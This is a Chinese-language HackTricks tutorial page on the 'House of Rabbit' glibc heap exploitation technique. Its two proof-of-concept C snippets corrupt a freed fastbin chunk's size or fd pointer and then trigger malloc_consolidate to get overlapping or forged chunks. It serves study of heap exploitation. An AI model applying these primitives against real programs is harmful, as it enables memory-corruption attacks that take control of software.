hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

4.2 KiB
Raw Blame History

兔子之屋

{% hint style="success" %} 学习并练习 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习并练习 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

需求

  1. 能够修改快速分配区块的 fd 指针或大小:这意味着您可以更改快速分配区块中的一个块的前向指针或其大小。
  2. 能够触发 malloc_consolidate:这可以通过分配一个大块或合并顶部块来实现,从而强制堆合并块。

目标

  1. 创建重叠块:使一个块与另一个块重叠,从而允许进一步的堆操作。
  2. 伪造假块:欺骗分配器,在堆操作期间将伪造的块视为合法块。

攻击步骤

POC 1修改快速分配区块的大小

目标:通过操纵快速分配区块的大小来创建一个重叠的块。

  • 步骤 1分配块
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • 步骤 2: 释放块
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • 步骤 3: 修改块大小
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • 步骤 4: 触发 malloc_consolidate
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

分配一个大块会触发malloc_consolidate函数,合并快速分配区中的小块。chunk1的操纵大小导致它与chunk2重叠。

在合并后,chunk1chunk2重叠,从而可以进一步利用。

POC 2: 修改fd指针

目标:通过操纵快速分配区的fd指针来创建一个伪造的块。

  • 步骤 1分配块
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

解释:我们分配两个块,一个较小,一个较大,以设置堆以用于伪造块。

  • 步骤 2创建伪造块
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • 步骤 3: 释放 chunk1
free(chunk1);  // Frees the chunk at 0x602000

解释:我们释放chunk1将其添加到fastbin列表。

  • 步骤 4修改chunk1fd
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

解释:我们将chunk1的前向指针(fd)更改为指向chunk2内部的假块。

  • 步骤 5: 触发 malloc_consolidate
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

重新分配一个大块会触发 malloc_consolidate,这将处理伪造的块。

伪造的块成为快速分配链表的一部分,使其成为进一步利用的合法块。

摘要

兔子之屋 技术涉及修改快速分配链表块的大小以创建重叠块,或者操纵 fd 指针以创建伪造块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解并实践这些步骤将增强您的堆利用技能。